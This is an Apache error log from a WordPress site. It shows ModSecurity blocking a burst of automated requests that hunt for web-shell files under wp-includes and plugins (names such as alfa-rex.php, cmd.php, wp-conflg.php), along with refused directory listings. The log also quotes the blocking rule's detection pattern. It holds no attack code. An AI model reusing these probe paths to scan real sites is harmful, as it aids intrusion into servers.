[Wed Apr 15 06:21:05.347063 2026] [:error] [pid 4067:tid 4132] [client 45.131.195.124:64945] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "ad690e5XHBJU8ZrRxZ1DkAAAAIE"]
[Wed Apr 15 06:21:10.075756 2026] [:error] [pid 4065:tid 4087] [client 45.131.195.175:60571] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Response/about.php"] [unique_id "ad691gWArgJTHu2_6OzMmwAAAAs"]
[Wed Apr 15 06:21:20.084357 2026] [:error] [pid 4066:tid 4110] [client 45.131.195.180:60225] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ms-pie.php"] [unique_id "ad694IC2YXfSPsC9O_BxPQAAAEY"]
[Wed Apr 15 06:21:21.724881 2026] [autoindex:error] [pid 4066:tid 4108] [client 75.119.128.178:59255] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Apr 15 06:21:25.999539 2026] [:error] [pid 4065:tid 4092] [client 45.131.195.171:51937] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/html-api/index.php"] [unique_id "ad695QWArgJTHu2_6OzMrQAAABA"]
[Wed Apr 15 06:21:29.885571 2026] [:error] [pid 4067:tid 4151] [client 45.131.195.116:65513] [client 45.131.195.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/nav-menu.php"] [unique_id "ad696e5XHBJU8ZrRxZ1DmgAAAJQ"]
[Wed Apr 15 06:21:30.963326 2026] [:error] [pid 4067:tid 4135] [client 45.131.195.164:61597] [client 45.131.195.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/user.php"] [unique_id "ad696u5XHBJU8ZrRxZ1DmwAAAIQ"]
[Wed Apr 15 06:21:45.251751 2026] [:error] [pid 4066:tid 4126] [client 45.131.195.131:40347] [client 45.131.195.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/dist/script-modules/block-library/search/about.php"] [unique_id "ad69-YC2YXfSPsC9O_BxZQAAAFY"]
[Wed Apr 15 06:21:46.253599 2026] [:error] [pid 4169:tid 4184] [client 45.131.195.204:46829] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-cropped-image-control.php"] [unique_id "ad69-h15U5D-N99n_jKNiAAAAMw"]
[Wed Apr 15 06:21:47.333771 2026] [:error] [pid 45504:tid 45530] [client 45.131.195.155:32973] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "ad69-63iO9_fE_IQEMlJOwAAARg"]
[Wed Apr 15 06:21:50.890682 2026] [:error] [pid 4065:tid 4076] [client 45.131.195.156:49851] [client 45.131.195.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.156, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "ad69_gWArgJTHu2_6OzMxwAAAAA"]
[Wed Apr 15 06:21:54.404732 2026] [:error] [pid 4065:tid 4089] [client 45.131.195.156:49851] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/preferences/wp-login.php"] [unique_id "ad6-AgWArgJTHu2_6OzMygAAAA0"]
[Wed Apr 15 06:21:55.424081 2026] [:error] [pid 4065:tid 4091] [client 45.131.195.116:22303] [client 45.131.195.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/media-text/index.php"] [unique_id "ad6-AwWArgJTHu2_6OzMzAAAAA8"]
[Wed Apr 15 06:21:56.786163 2026] [:error] [pid 4065:tid 4085] [client 45.131.195.174:52573] [client 45.131.195.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/phpmailer/phpmailer.php"] [unique_id "ad6-BAWArgJTHu2_6OzM0AAAAAk"]
[Wed Apr 15 06:22:05.354681 2026] [:error] [pid 4065:tid 4083] [client 45.131.195.144:27387] [client 45.131.195.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/latest-comments/template-loader.php"] [unique_id "ad6-DQWArgJTHu2_6OzM2wAAAAc"]
[Wed Apr 15 06:22:15.605142 2026] [:error] [pid 4067:tid 4153] [client 45.131.195.155:40015] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/nextpage/index.php"] [unique_id "ad6-F-5XHBJU8ZrRxZ1DzAAAAJY"]
[Wed Apr 15 06:22:16.744084 2026] [authz_core:error] [pid 4169:tid 4200] [client 45.131.195.150:44931] AH01630: client denied by server configuration: /home/rcacivils/public_html/wp-content/plugins/akismet/views/cmd.php
[Wed Apr 15 06:22:18.635722 2026] [:error] [pid 4169:tid 4198] [client 45.131.195.150:44931] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/link-template-firewall.php"] [unique_id "ad6-Gh15U5D-N99n_jKNqgAAANc"]
[Wed Apr 15 06:22:35.243069 2026] [:error] [pid 4065:tid 4086] [client 45.131.195.164:51081] [client 45.131.195.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "ad6-KwWArgJTHu2_6OzM_AAAAAo"]
[Wed Apr 15 06:22:36.244082 2026] [:error] [pid 4066:tid 4122] [client 45.131.195.176:47697] [client 45.131.195.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/src/Decode/HTML/sitemaps.php"] [unique_id "ad6-LIC2YXfSPsC9O_BxkAAAAFI"]
[Wed Apr 15 06:22:37.231889 2026] [:error] [pid 4066:tid 4121] [client 45.131.195.189:43205] [client 45.131.195.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/mer_gagal.php"] [unique_id "ad6-LYC2YXfSPsC9O_BxkwAAAFE"]
[Wed Apr 15 06:22:38.235367 2026] [:error] [pid 45504:tid 45527] [client 45.131.195.115:35635] [client 45.131.195.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/html-api/wp-login.php"] [unique_id "ad6-Lq3iO9_fE_IQEMlJxAAAARU"]
[Wed Apr 15 06:22:43.342316 2026] [:error] [pid 4066:tid 4116] [client 45.131.195.184:30507] [client 45.131.195.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/alfa-rex.php"] [unique_id "ad6-M4C2YXfSPsC9O_BxngAAAEw"]
[Wed Apr 15 06:22:44.519954 2026] [:error] [pid 4067:tid 4141] [client 45.131.195.139:30833] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/Core32.php"] [unique_id "ad6-NO5XHBJU8ZrRxZ1D7AAAAIo"]
[Wed Apr 15 06:22:52.569407 2026] [:error] [pid 4169:tid 4191] [client 45.131.195.130:64755] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "ad6-PB15U5D-N99n_jKN6gAAANE"]
[Wed Apr 15 06:22:58.876574 2026] [:error] [pid 4169:tid 4180] [client 45.131.195.134:28881] [client 45.131.195.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/index.php"] [unique_id "ad6-Qh15U5D-N99n_jKN-gAAAMg"]
[Wed Apr 15 06:23:00.483003 2026] [:error] [pid 4169:tid 4197] [client 45.131.195.149:58099] [client 45.131.195.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/library/index.php"] [unique_id "ad6-RB15U5D-N99n_jKN-wAAANY"]
[Wed Apr 15 06:23:03.341422 2026] [autoindex:error] [pid 4169:tid 4172] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:06.180209 2026] [autoindex:error] [pid 4169:tid 4181] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:13.670042 2026] [autoindex:error] [pid 4169:tid 4182] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:16.727610 2026] [autoindex:error] [pid 4169:tid 4173] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:21.089475 2026] [autoindex:error] [pid 4169:tid 4175] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:21.322118 2026] [autoindex:error] [pid 4169:tid 4200] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:21.587592 2026] [autoindex:error] [pid 4169:tid 4179] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:26.313042 2026] [autoindex:error] [pid 4169:tid 4182] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:26.575791 2026] [autoindex:error] [pid 4169:tid 4186] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:27.969693 2026] [autoindex:error] [pid 4169:tid 4178] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:28.235338 2026] [autoindex:error] [pid 4169:tid 4176] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:28.464797 2026] [autoindex:error] [pid 4169:tid 4198] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:28.975463 2026] [autoindex:error] [pid 4169:tid 4182] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:29.213141 2026] [autoindex:error] [pid 4169:tid 4195] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:29.459046 2026] [autoindex:error] [pid 4169:tid 4183] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:33.111164 2026] [autoindex:error] [pid 4169:tid 4183] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:33.328819 2026] [autoindex:error] [pid 4169:tid 4173] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:33.691949 2026] [autoindex:error] [pid 4169:tid 4172] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:33.996558 2026] [autoindex:error] [pid 4169:tid 4175] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:34.256348 2026] [autoindex:error] [pid 4169:tid 4188] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:34.631596 2026] [autoindex:error] [pid 4169:tid 4197] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:36.191249 2026] [autoindex:error] [pid 4169:tid 4172] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:37.204701 2026] [autoindex:error] [pid 4169:tid 4180] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:45.118614 2026] [autoindex:error] [pid 4169:tid 4175] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:49.484992 2026] [autoindex:error] [pid 4169:tid 4174] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:51.926058 2026] [autoindex:error] [pid 4169:tid 4193] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:56.314312 2026] [autoindex:error] [pid 4169:tid 4175] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:23:56.582194 2026] [autoindex:error] [pid 4169:tid 4195] [client 45.131.195.115:51095] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
